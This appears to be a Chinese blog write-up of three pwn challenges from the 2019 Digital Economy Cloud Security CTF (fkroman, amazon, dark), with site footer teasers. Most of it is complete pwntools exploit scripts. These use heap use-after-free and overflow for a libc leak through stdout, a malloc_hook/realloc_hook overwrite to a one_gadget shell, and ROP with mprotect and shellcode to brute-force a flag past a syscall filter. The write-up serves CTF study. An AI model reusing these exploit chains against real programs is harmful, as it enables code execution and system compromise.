2019数字经济云安全共测大赛初赛_pwn

fkroman

  • 与De1CTF 2019 的Weapon基本一样,delete存在uaf,edit函数存在堆溢出,题目没有输出函数,所以要通过_IO_FILE来泄漏libc,

  • 具体思路为先free一个fastbin,然后利用堆溢出修改fastbin的size为0x91,再次free,此时chunk即会包含main_arena+88,而后再利用UAF将fd爆破指向stdout前的位置(包含合法size”\x7F”),进而修改stdout结构体的_flags和_IO_write_base来输出一段数据(包含libc_addr)
    leak后再次利用uaf修改malloc_hook为one_target即可get shell

exp

from pwn import *
#context.log_level = 'debug'


def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def sd(x):
    p.send(x)

def alloc(idx,size):
    ru('choice: ')
    sl('1')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))

def free(idx):
    ru('choice: ')
    sl('3')
    ru('Index: ')
    sl(str(idx))


def edit(idx,size,cont):
    ru('choice: ')
    sl('4')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    sd(cont)

def pwn(p):
    #gdb.attach(p)
    alloc(0,0x10)
    alloc(1,0x60)
    alloc(2,0x60)
    alloc(3,0x90)
    alloc(4,0x20)

    free(1)
    pay = p64(0)*3 + p64(0xe1)
    edit(0,len(pay),pay)
    free(3)
    free(1)
    pay = p64(0)*3 + p64(0x71)
    edit(0,len(pay),pay)

    #baopo stdout -> leak libc
    #0x7f61bcf41b78 -> 0x7f61bcf42620
    #0x7fa54b50bb78 -> 0x7fa54b50c620
    #1/16 chance
    pay = '\xdd' + '\x25'
    edit(1,len(pay),pay)
    alloc(5,0x60)
    alloc(5,0x60)
    pay = '\x00'*3 + p64(0)*6 + p64(0xfbad1887) + p64(0)*3 + '\x00'
    edit(5,len(pay),pay)

    p.recvuntil("\x7f")
    p.recv(2)
    libc_base = u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
    malloc_hook = libc_base + 0x3c4b10
    log.success('libc_base : 0x%x'%libc_base)
    info('malloc_hook : 0x%x'%malloc_hook)
    one_gadget = libc_base + 0x4526a

    #uaf hijack malloc_hook -> one_gadget
    free(2)
    edit(2,8,p64(malloc_hook-0x23))
    alloc(2,0x60)
    alloc(2,0x60)
    pay = 'a'*0x13 + p64(one_gadget)
    edit(2,len(pay),pay)

    #trigger malloc_hook
    ru('choice: ')
    sl('1')
    ru('Index: ')
    sl('0')
    ru('Size: ')
    sl('10')

    
    p.interactive()

while True:
    try:
        p = process('./fkroman')
        pwn(p)
    except Exception as e:
        p.close()

amazon

  • tcache的题目,题目有uaf,uaf先泄漏libc,但是由于出题人错开了0x20写的位置,所以通过先free一个chunk进tcache,然后等填充满tcache时再double free,同时通过前向合并再malloc一个大的堆块可以对tache bin的fd进行修改,由于直接改malloc_hook不符合one_gadget的条件,所以通过realloc_hook和malloc_hook来出发one_gadget
from pwn import *
context.log_level = 'debug'

p = process('./amazon')

def sl(x):
    p.sendline(x)

def sd(x):
    p.send(x)

def ru(x):
    p.recvuntil(x)

def buy(item,many,size,cont):
    ru('Your choice: ')
    sl('1')
    ru('want to buy: ')
    sl(str(item))
    ru('How many: ')
    sl(str(many))
    ru('r note: ')
    sl(str(size))
    ru('Content: ')
    sd(cont)

def show():
    ru('Your choice: ')
    sl('2')

def checkout(idx):
    ru('Your choice: ')
    sl('3')
    ru('pay for: ')
    sl(str(idx))


for i in range(12):
    buy(0,30,0x80,'aaaa')

for i in range(8):
    checkout(i)

show()
for i in range(8):
    p.recvuntil('Name: ')

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
info('leak_addr : 0x%x'%leak_addr)
libc_base = leak_addr - 96 - 0x3ebc40
info('libc base : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3ebc28 - 0x20
malloc_hook = libc_base + 0x3ebc30
one_gadget = libc_base + 0x10a38c
libc = ELF('libc-2.27.so')
realloc = libc_base + libc.symbols['__libc_realloc']
checkout(3)
checkout(4)

pay = 'd'*0x80 + p64(0xb0) + p64(0xb0) + p64(realloc_hook)
buy(0,30,0x100,pay)

buy(0,30,0x80,'1')
buy(0,30,0x80,'1')
buy(0,30,0x80,'1')
buy(0,30,0xa0-0x28,p64(one_gadget)+p64(realloc+9))

gdb.attach(p,'b *0x5555555552e7')
ru('Your choice: ')
sl('1')
ru('want to buy: ')
sl('0')
ru('How many: ')
sl('10')
ru('r note: ')
sl('10')
#


p.interactive()

dark

  • 程序限制了只能执行mprotect,read,open的syscall,程序有明显的栈溢出,所以思路是先通过mprotect改bss为rwx,然后往bss段上写shellcode,open,read我们的flag到bss段上,最后再shellcode爆破,爆破思路如下,alarm+5的地址有syscall,所以我们可以先改alarm_got的地址为alarm+5即为syscall

  • 具体的思路可以参考https://ama2in9.top/2019/09/22/CloudSecCTF/#more

  • 以及写shellcode爆破flag的思路来源 https://bbs.pediy.com/thread-217899-1.htm

#coding:utf-8
import signal
from pwn import *

#context.log_level = 'debug'
context.binary = './dark'





def sl(x):
    p.sendline(x)

def sd(x):
    p.send(x)

def ru(x):
    p.recvuntil(x)

def csu(chunk,fake_rbp,r12,r13,r14,r15,call_addr):
    p6_ret = 0x401272
    mov_call = 0x401258
    pay = chunk + p64(p6_ret)
    pay += p64(0) + p64(1) + p64(r12)
    pay += p64(r13) + p64(r14) + p64(r15)
    pay += p64(mov_call) + 'a'*16 + p64(fake_rbp) 
    pay += 'a'*32 + p64(call_addr)
    return pay

def pwn(p,num,char):

    # rbx rbp r12       r13 r14 r15
    # 0   1   call_got  rdi rsi rdx

    #rbx rbp r12 r13 r14 r15
    p6_ret = 0x401272
    mov_call = 0x401258
    alarm_got = 0x404030
    read_got = 0x404038
    bss_addr = 0x404050+0x100
    main_addr = 0x4011F1
    leave_ret = 0x4011ef

    #read(0,bss,0x1000) -> stack migration
    pay = csu('a'*0x18,bss_addr,read_got,0,bss_addr,0x1000,leave_ret)

    #gdb.attach(p,'b *0x401261')
    sd(pay)

    sleep(0.1)

    #bss -> read(0,alarm_got,1)
    pay = csu('a'*8,bss_addr+0x100,read_got,0,alarm_got,0x1,leave_ret)
    pay = pay.ljust(0x100,'a')

    #bss+0x100 -> set rax
    pay += csu('a'*8,bss_addr+0x200,read_got,0,bss_addr-0x50,0xa,leave_ret)
    pay = pay.ljust(0x200,'a')

    #bss+0x200 -> mrpotect(0x404000,0x1000,7)
    pay += csu('a'*8,bss_addr+0x300,alarm_got,0x404000,0x1000,7,leave_ret)
    pay = pay.ljust(0x300,'a')

    #open('/flag')
    pay += 'a'*8 + p64(0x404460)
    pay += asm(shellcraft.amd64.linux.open('./flag\x00'))
    pay += asm(shellcraft.amd64.linux.read(3,bss_addr+0x500,0x50))
    flag_addr = 0x404650
    sc = asm('''
            xor rdi,rdi;
            xor rsi,rsi;
            xor rdx,rdx;
            push 0x404650;
            pop rcx;
            push 0x404750;
            pop rsi;
            mov rdx,0x100;
            ''')
    sc += asm('mov rbx,[rcx+'+str(num)+']')
    sc += asm('cmp bl,'+str(char))
    sc += '\x74\x08' #je 8
    sc += 'a'*8
    sc += asm('mov rax,0;syscall')
    pay += sc

    sd(pay)

    sleep(0.1)
    sd('\x45')

    sleep(0.1)
    sd('a'*0xa)


    #p.interactive()
    #sd('a')




def myHandler(signum, frame):
    #print 'cont : ',cont
    print 'index : ',index,'i : ',i
    cont.append(i)
    print cont
    if i == 125:
        flag = ''
        for j in cont:
            flag += chr(j)
        print flag
        exit()

index = 0
cont = []
m = 'bbb'

while True:
    for i in range(0x20,0x80):
        signal.signal(signal.SIGALRM, myHandler)
        signal.alarm(3)
        try:
            #print 'index',index,'i : ',i
            p = process('./dark')
            pwn(p,index,i)
            p.recvline()
            p.close()
        except Exception as e:
            p.close()
        finally:
            p.close()
    index += 1

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,830评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,992评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,875评论 0 331
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,837评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,734评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,091评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,550评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,217评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,368评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,298评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,350评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,027评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,623评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,706评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,940评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,349评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,936评论 2 341

推荐阅读更多精彩内容

  • 数字经济云安全ctf Pwn 1. amazon menu show checkout free后未置NULL,可...
    Nevv阅读 893评论 0 0
  • X-man-A face:这道题是二维码补图的题,用ps将那两个空的角补全就好了,扫码可以得到一串base64加密...
    zs0zrc阅读 909评论 0 0
  • 网鼎杯第一场wp guess防护机制:image.png 开启了canary和NX 简单的看了下反编译的逻辑 发现...
    zs0zrc阅读 1,953评论 0 4
  • 茫茫四海飘无际, 浮沉悠悠渺无踪。 仗剑天涯安何处? 天地一瞬任逍遥。
    楠宫翊阅读 205评论 0 1
  • 可能没有谁读诗歌, 在一个自由自在的晚上 湖泊旧了,月影也是锈的 灯亮一整晚,一整晚 诗却大多一地纯白 多是无心揣...
    川石x阅读 295评论 10 7